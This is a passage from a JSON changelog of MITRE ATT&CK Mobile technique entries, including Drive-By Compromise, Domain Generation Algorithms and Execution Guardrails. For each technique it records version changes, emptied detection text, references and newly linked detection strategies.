REMOTE HOT PATCHING. Retrieved December 9, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", + "external_id": "APP-20" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.445000+00:00\", \"old_value\": \"2025-04-16 21:21:50.660000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Existing network infrastructure may detect network calls to known malicious domains or the transfer of malicious payloads over the network. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities). Unfortunately, this is only a partial mitigation, as additional scrutiny would still need to be applied to applications that use these techniques. These techniques are often used without malicious intent, and applications may employ other techniques to hide their use of these techniques.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0041: Application Vetting (API Calls)", + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0618: Detection of Download New Code at Runtime" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:06.822000+00:00", + "modified": "2025-10-24 17:49:39.614000+00:00", + "name": "Drive-By Compromise", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1456", + "external_id": "T1456" + }, + { + "source_name": "Lookout-StealthMango", + "description": "Lookout. (n.d.). Stealth Mango & Tangelo. Retrieved September 27, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html", + "external_id": "CEL-22" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.614000+00:00\", \"old_value\": \"2025-04-16 21:21:59.531000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can often alert the user if their device is vulnerable to known exploits.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0614: Detection of Drive-By Compromise" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2ccc3d39-9598-4d32-9657-42e1c7095d26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:57:15.734000+00:00", + "modified": "2025-10-24 17:48:34.706000+00:00", + "name": "Dynamic Resolution", + "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1637", + "external_id": "T1637" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.706000+00:00\", \"old_value\": \"2025-04-16 21:21:47.329000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated domains can be challenging due to the number of different Domain Generation Algorithms (DGAs), constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names or rarely visited domains.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0613: Detection of Dynamic Resolution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fd211238-f767-4599-8c0d-9dca36624626", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:59:03.161000+00:00", + "modified": "2025-10-24 17:49:39.530000+00:00", + "name": "Domain Generation Algorithms", + "description": "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1637/001", + "external_id": "T1637.001" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + }, + { + "source_name": "securelist rotexy 2018", + "description": "T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan \u2013 banker and ransomware. Retrieved September 23, 2019.", + "url": "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.530000+00:00\", \"old_value\": \"2025-04-16 21:21:59.384000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Network Communication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0669: Detection of Domain Generation Algorithms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-01 14:18:47.762000+00:00", + "modified": "2025-10-24 17:49:34.332000+00:00", + "name": "Encrypted Channel", + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1521", + "external_id": "T1521" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.332000+00:00\", \"old_value\": \"2025-04-16 21:21:58.602000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0641: Detection of Encrypted Channel" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "created": "2022-04-05 20:15:43.636000+00:00", + "modified": "2025-10-24 17:48:26.898000+00:00", + "name": "Asymmetric Cryptography", + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1521/002", + "external_id": "T1521.002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.898000+00:00\", \"old_value\": \"2025-04-16 21:21:44.987000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0667: Detection of Asymmetric Cryptography" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 20:14:17.310000+00:00", + "modified": "2025-10-24 17:49:17.802000+00:00", + "name": "Symmetric Cryptography", + "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1521/001", + "external_id": "T1521.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.802000+00:00\", \"old_value\": \"2025-04-16 21:21:54.401000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0650: Detection of Symmetric Cryptography" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-06 13:52:05.619000+00:00", + "modified": "2025-10-24 17:49:33.803000+00:00", + "name": "Endpoint Denial of Service", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device\u2019s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1642", + "external_id": "T1642" + }, + { + "source_name": "Xiao-KeyRaider", + "description": "Claud Xiao. (2015, August 30). KeyRaider: iOS Malware Steals Over 225,000 Apple Accounts to Create Free App Utopia. Retrieved December 12, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" + }, + { + "source_name": "Android resetPassword", + "description": "Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.", + "url": "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.803000+00:00\", \"old_value\": \"2025-04-16 21:21:58.297000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0627: Detection of Endpoint Denial of Service" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d446b9f0-06a9-4a8d-97ee-298cfee84f14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 14:25:41.721000+00:00", + "modified": "2025-10-24 17:49:26.888000+00:00", + "name": "Event Triggered Execution", + "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim\u2019s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1624", + "external_id": "T1624" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.888000+00:00\", \"old_value\": \"2025-04-16 21:21:56.521000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0647: Detection of Event Triggered Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3775a580-a1d1-46c4-8147-c614a715f2e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 14:41:00.672000+00:00", + "modified": "2025-10-24 17:48:39.155000+00:00", + "name": "Broadcast Receivers", + "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. \n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. \n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1624/001", + "external_id": "T1624.001" + }, + { + "source_name": "Android Changes to System Broadcasts", + "description": "Google. (2019, December 27). Broadcasts Overview. Retrieved January 27, 2020.", + "url": "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alex Hinchliffe, Palo Alto Networks" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.155000+00:00\", \"old_value\": \"2025-04-16 21:21:48.286000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0711: Detection of Broadcast Receivers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--498e7b81-238d-404c-aa5e-332904d63286", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 20:31:16.624000+00:00", + "modified": "2025-10-24 17:48:44.210000+00:00", + "name": "Execution Guardrails", + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1627", + "external_id": "T1627" + }, + { + "source_name": "SWB Exodus March 2019", + "description": "Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.210000+00:00\", \"old_value\": \"2024-11-17 18:31:54.804000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of guardrails may be difficult depending on the implementation. Users can review which applications have location and sensitive phone information permissions in the operating system\\u2019s settings menu. Application vetting services can detect unnecessary and potentially permissions or API calls.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0653: Detection of Execution Guardrails" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e422b6fa-4739-46b9-992e-82f1b350c780", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 20:36:03.177000+00:00", + "modified": "2025-10-24 17:49:31.935000+00:00", + "name": "Geofencing", + "description": "Adversaries may use a device\u2019s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)\n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001)\u202fis accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device\u2019s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. \n\nOne method to accomplish\u202f[Geofencing](https://attack.mitre.org/techniques/T1627/001)\u202fon Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other\u202f[Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` 